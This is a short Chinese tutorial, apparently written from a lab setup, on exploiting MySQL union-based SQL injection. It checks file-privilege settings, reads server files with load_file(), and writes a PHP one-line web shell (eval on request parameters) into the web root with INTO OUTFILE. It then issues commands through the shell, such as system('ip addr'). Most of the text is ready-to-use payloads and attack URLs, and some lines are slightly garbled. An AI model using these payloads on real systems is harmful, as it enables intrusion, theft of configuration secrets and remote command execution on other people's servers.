前言
因为我们不知道可写文件夹和可写路径,所以这个漏洞能利用的可能性很小。这是在我们自己搭建的环境中测试这个漏洞,我们先确定文件的读写权限,然后再进行文件读写。
真实环境中,我们需要爆破出可读写的文件路径。
一、读写权限确认
为了实现这个漏洞的利用,我们需要先确认文件的读写权限,然后再进行文件读写(真实情况我们是做不了这一步的,这是为了确定是否有这个漏洞)。
show global variables like '%secure%';
查看mysql全局变量配置,当输入以上命令后,结果
secure_file_priv = 空 --> 任意读写
secure_file_priv = 某个路径 --> 规定路径下读写
secure_file_priv = NULL --> 不能读写
二、读文件
利用SQL语句读取系统文件,先读取常规文件(明确路径),先爆破路径再爆破路径下文件
-1 union select 1,2,3,load_file('C/windows/service.inf'),5,6,7
-1 union select 1,2,3,
,5,6,7
-1 union select 1,2,3,load_file('D/XamppNew/htdocs/scurity/common.php'),5,6,7
或
http://192.168.88.130/security/read.php?id=-1 union
select 1,2,3,(select load_file("/opt/lampp/htdocs/security/common.php")),5,6,7
三、写文件
-1 union select 1,2,3,4,5,6,"<?php phpinfo(); ?>" into
outfile 'D/XamppNew/htdocs/scurity/muma.php'
http://192.168.88.130/security/read.php?id=-1 union
select 1,2,3,"HelloWorld",5,6,7 into outfile "/opt/lampp/htdocs/security/temp/muma.php"
# 尝试得到列数量,然后注入一次,访问是否注入成功
-1 unionselect1,2,3,4,5,6,"<?php eval($_POST['a']);?> into
outfile 'D/XamppNew/htdocs/scurity/muma.php'
一句话木马:
<?php @eval($_GET['a']);?>
eval可以将一段字符串当成代码来执行,如果用户可以直接将这段有效代码传入后台,则可以执行任意命令
http://192.168.88.130/security/temp/muma2.php?a=echo date("Y-m-d H:i:s");
http://192.168.88.130/security/temp/muma2.php?a=phpinfo();
http://192.168.88.130/security/temp/muma2.php?a=system('ip addr');